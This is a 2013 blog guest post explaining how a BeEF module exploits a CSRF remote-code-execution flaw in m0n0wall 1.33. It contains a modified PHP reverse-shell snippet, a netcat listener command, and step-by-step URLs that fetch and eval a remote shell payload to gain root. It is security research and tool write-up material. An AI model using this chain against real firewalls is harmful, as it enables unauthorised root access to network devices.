Wednesday, March 20, 2013

Exploiting m0n0wall 1.33 with BeEF

Today's post is a guest post from Bart Leppens.

What is m0n0wall? m0n0wall is a free software firewall distribution that often runs on embedded hardware like Alixor Soekris boards.  It is based on a bare-bones version of FreeBSD. There is no netcat, socat, perl, python, ruby or even telnet present on the system.  I actually don't know if this is due to security considerations or just to save some diskspace since m0n0wall was longtime fitting on a 8 MB CF-card, now it requires just a 16 MB card. And we figured out how to exploit it with BeEF.


The Proof of Concept:
In November of 2012, Yann Cam, Security Consultant at synetis, released a Cross-Site Request Forgery Remote Code Execution Proof of Concept for m0n0wall 1.33 which allows an attacker to spawn a reverse shell with root privileges.

On the website of m0n0wall is posted the following newsitem:

m0n0wall Vulnerability Announcement

Oh my, CSRF RCE with root privileges on a router is considered a low priority security fix nowadays...

Anyway, to obtain his root shell, Yann Cam made use of Pentest Monkey's php-reverse-shell.  We at BeEF-project decided to contact Pentest Monkey and asked him if we were allowed to tweak his awesome php reverse shell just a tiny bit so we could use it with an automatic module for Yann's exploit.

So I basically just changed this:

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS


into this:

$ip = $_GET["ip"];  //retrieve ip address to connect back to via HTTP GET
if (!$ip) {
    $ip = '127.0.0.1';  // or set static ip address
}
$port = $_GET["port"];  //retrieve port to connect back to via HTTP GET
 if (!$port) {
     $port = 1234;  // or define port here
}

Then I just implemented the actual BeEF-module based on the provided proof of concept so m0n0wall 1.33 can be easily exploited.

What happens behind the scenes?
  1. The victim needs to have a valid m0n0wall-session for the CSRF to work.
  2. An attacker needs to listen on some port (lport) at a certain IP address (lhost)  (e.g.: nc -l -p 4444).
  3. The attacker fills in the parameters in BeEF and sends the exploit http://lhost:lport/exec_raw.php
  4. The file php-reverse-shell.php gets served by BeEF.
  5. A new file x.php is created on the victims machine and given proper execute rights (chmod 755).
  6. After a little bit, http://lhost:lport/x.php?ip=<rhost>&port=<rport> is triggered.
  7. The remotely served file http://beefhost:beefport/php-reverse-shell.php get's eval'ed (For it to work, make sure you have configured your public host in BeEF's config.yaml. Otherwise, your IP might be known as 0.0.0.0. and it won't work.)
  8. The m0n0wall machine spawns back a reverse shell to specified lhost and lport.
  9. Finally, BeEF stops serving the php-reverse-shell.php.
Demo:


Conclusion:

So even with only the php interpreter present on the system, it can still be possible to send a reverse shell without the need to compile code or to execute shellcode.  By using creative solutions like
Pentest Monkey's php-reverse shell, you still can easily exploit the remote system.

-------
Bart Leppens has a master degree in Informatics. He has over 10 years of experience in IT, mainly in software development. He reported security bugs in widely used products from major vendors. At the moment, he is working as a Project Manager for the Belgian government at the department of Finances. During his spare time he likes to contribute to the BeEF-project. You can reach him via twitter: @bmantra

2 comments:

  1. Just deploying an important massage:
    while installing the BeEF exactly as shown I encountered an error in the "Bundle Install".

    Bundler::GemSpecError: Could not read gem at /home//.rvm/gems/ruby-1.9.2-p290-rub/cache/librex-0.0.68.gem. It may be corrupted.
    An error occurred while installing librex (0.0.68), and Bundler cannot continue.
    Make sure that 'gem install librex -v '0.0.68'' succeeds before bundling.

    When I tried running the BeEF i got:
    Could not find gem 'twitter (>= 0) ruby' in the gems available on this machine.
    Run 'bundle install' to install missing gems.

    OK so now for the solution that took me a few Google hours:

    The problem seems to stop the gem installation and the 'twitter gem' is next after librex. that's why the error on exec in 'twitter gem' related.

    The error is reffering to the ruby's cache directory:
    "Could not read gem at /home//.rvm/gems/ruby-1.9.2-p290-rub/CACHE/librex-0.0.68.gem. It may be corrupted."

    So all you need to do is delete the cache directory by:
    user@ubuntu: rm -r cache
    user@ubuntu: bundle install

    Enjoy BeEF!

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete